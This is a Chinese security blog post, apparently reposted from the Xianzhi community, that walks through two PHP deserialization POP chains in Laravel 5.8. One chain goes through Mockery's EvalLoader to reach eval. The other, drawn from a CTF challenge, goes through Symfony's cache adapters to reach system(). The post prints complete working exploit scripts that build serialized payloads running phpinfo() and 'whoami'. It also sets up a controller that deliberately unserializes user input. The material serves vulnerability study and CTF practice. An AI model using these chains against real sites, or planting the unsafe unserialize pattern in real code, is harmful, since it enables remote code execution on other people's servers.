本篇文章将记录 laravel5.8 框架中的两条反序列化 POP链 。
直接使用 composer 安装 laravel5.8 框架,并通过 php artisan serve
命令启动 Web 服务。
➜ composer create-project --prefer-dist laravel/laravel laravel58
➜ cd laravel58
➜ php artisan serve --host=0.0.0.0
在 laravel57/routes/web.php 文件中添加一条路由,便于我们后续访问。
// /var/www/html/laravel58/routes/web.php<?phpRoute::get("/","\App\Http\Controllers\DemoController@demo");?>
在 laravel58/app/Http/Controllers/ 下添加 DemoController 控制器,代码如下:
<?phpnamespace App\Http\Controllers;class DemoController extends Controller{
public function demo()
{
if(isset($_GET['c'])){
$code = $_GET['c'];
unserialize($code);
}
else{
highlight_file(__FILE__);
}
return "Welcome to laravel5.8";
}}
这条链来自 pithon 的代码审计小密圈,按照如上方法安装将默认存在该链。先从 PendingBroadcast 类的 __destruct 方法开始 POP链 ,将 $this->events 设置成 Dispatcher 类。进入 dispatch 方法后,我们要想办法执行到 第73行 的 dispatchToQueue 方法,因为在 dispatchToQueue 方法中存在 call_user_func 函数,且可以完成任意类方法调用,所以我们要使得 第72行 的 if 语句条件为真。 ShouldQueue 是个接口,我们只要让 $command 为实现该接口的类即可, $command 即 第57行 传入的 $this->event 。
现在我们已经可以调用任意类的任意方法了,下面就寻找可利用的类方法,这里我们使用的是 EvalLoader 类的 load 方法,因为里面有调用 eval 函数,且参数可控。接下来我们只要构造条件,使得 eval 函数前面的 if 语句块不执行 return 即可。如下图 第44行 ,我们只要找一个有 getName 方法的类,且返回结果可控即可。
整个链的构造相对容易,最终 EXP 如下:
<?phpnamespace PhpParser\Node\Scalar\MagicConst{
class Line {}}namespace Mockery\Generator{
class MockDefinition
{
protected $config;
protected $code;
public function __construct($config, $code)
{
$this->config = $config;
$this->code = $code;
}
}}namespace Mockery\Loader{
class EvalLoader{}}namespace Illuminate\Bus{
class Dispatcher
{
protected $queueResolver;
public function __construct($queueResolver)
{
$this->queueResolver = $queueResolver;
}
}}namespace Illuminate\Foundation\Console{
class QueuedCommand
{
public $connection;
public function __construct($connection)
{
$this->connection = $connection;
}
}}namespace Illuminate\Broadcasting{
class PendingBroadcast
{
protected $events;
protected $event;
public function __construct($events, $event)
{
$this->events = $events;
$this->event = $event;
}
}}namespace{
$line = new PhpParser\Node\Scalar\MagicConst\Line();
$mockdefinition = new Mockery\Generator\MockDefinition($line,'<?php phpinfo();?>');
$evalloader = new Mockery\Loader\EvalLoader();
$dispatcher = new Illuminate\Bus\Dispatcher(array($evalloader,'load'));
$queuedcommand = new Illuminate\Foundation\Console\QueuedCommand($mockdefinition);
$pendingbroadcast = new Illuminate\Broadcasting\PendingBroadcast($dispatcher,$queuedcommand);
echo urlencode(serialize($pendingbroadcast));}?>
这条链来自前一阵CTF国赛某道题目。漏洞存在 symfony 组件中(影响至罪行 4.4.x-dev 版本),而默认安装的 laravel5.8 框架没有包含该组件。为了复现该漏洞,我们需要将 composer.json 文件中的 require 添加 "symfony/symfony": "4.*" 并执行 composer update 命令即可。
POP链 的入口为 TagAwareAdapter 类的 __destruct 方法,经过一些列调用,其会调用 $this->pool 的 saveDeferred 方法。
这里,我们将 $this->pool 设置为 ProxyAdapter 类。在 ProxyAdapter 类的 saveDeferred 方法中,会调用本类的 doSave 方法。而在 doSave 方法中,我们发现了可控的动态调用,如下图 第223行 所示。
首先,程序将 $item 类强转成数组(上图 第207行 ),然后再从数组中取值作为下面动态调用函数的参数(上图 第213行 )。这里可以看到有 $item["\0*\0expiry"]、$item["\0*\0poolHash"] 这种写法,数组键名带有 \0*\0 。这实际上是类中,修饰符为 protected 的属性,在类强转成数组之后的结果。具体可以参考如下Demo:
这里动态调用 ($this->setInnerItem)($innerItem, $item) 中有两个参数,其中第一个参数可控,刚好 system 函数最多支持两个参数,所以我们这里可以利用 system 函数来执行命令。
整个链的构造相对容易,最终 EXP 如下:
<?phpnamespace Symfony\Component\Cache{
final class CacheItem
{
protected $expiry;
protected $poolHash;
protected $innerItem;
public function __construct($expiry, $poolHash, $command)
{
$this->expiry = $expiry;
$this->poolHash = $poolHash;
$this->innerItem = $command;
}
}}namespace Symfony\Component\Cache\Adapter{
class ProxyAdapter
{
private $poolHash;
private $setInnerItem;
public function __construct($poolHash, $func)
{
$this->poolHash = $poolHash;
$this->setInnerItem = $func;
}
}
class TagAwareAdapter
{
private $deferred = [];
private $pool;
public function __construct($deferred, $pool)
{
$this->deferred = $deferred;
$this->pool = $pool;
}
}}namespace {
$cacheitem = new Symfony\Component\Cache\CacheItem(1,1,"whoami");
$proxyadapter = new Symfony\Component\Cache\Adapter\ProxyAdapter(1,'system');
$tagawareadapter = new Symfony\Component\Cache\Adapter\TagAwareAdapter(array($cacheitem),$proxyadapter);
echo urlencode(serialize($tagawareadapter));}
有的 symfony 组件版本执行命令后有回显,有的没有,具体大家自己测试。
转自先知社区
打赏我,让我更有动力~
© 2016 - 2024 掌控者 All Rights Reserved.